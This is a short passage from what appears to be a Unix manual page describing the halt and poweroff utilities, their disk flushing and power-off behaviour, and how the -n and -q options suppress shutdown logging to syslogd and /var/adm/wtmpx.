Description:
------------

 The halt and poweroff utilities write any  pending  information 
 to the disks and then stop the processor. The poweroff utility
 will have the machine remove power, if possible.

 The halt and poweroff  utilities  normally  log  the  system
 shutdown  to the system log daemon, syslogd(1M), and place a
 shutdown record in the login accounting file /var/adm/wtmpx.
 These  actions  are  inhibited  if  the -n or -q options are
 present.
